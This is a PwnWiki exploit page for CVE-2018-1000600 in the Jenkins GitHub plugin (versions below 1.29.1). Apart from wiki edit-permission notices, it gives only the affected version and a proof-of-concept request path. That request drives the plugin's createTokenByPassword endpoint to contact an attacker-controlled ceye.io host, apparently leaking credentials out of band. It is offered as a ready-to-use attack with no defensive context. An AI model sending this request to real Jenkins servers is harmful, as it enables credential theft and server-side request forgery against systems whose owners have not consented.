View source for CVE-2018-1000600 Jenkins GitHub 信息泄漏/en

From PwnWiki

← CVE-2018-1000600 Jenkins GitHub 信息泄漏/en

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page CVE-2018-1000600 Jenkins GitHub 信息泄漏 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages   />
==Affected version==
Jenkins GitHub plugin is less than 1.29.1

The POC used is as follows, where user1 is the user name.

<pre>
/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io
</pre>

Return to CVE-2018-1000600 Jenkins GitHub 信息泄漏/en.

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2018-1000600_Jenkins_GitHub_信息泄漏/en"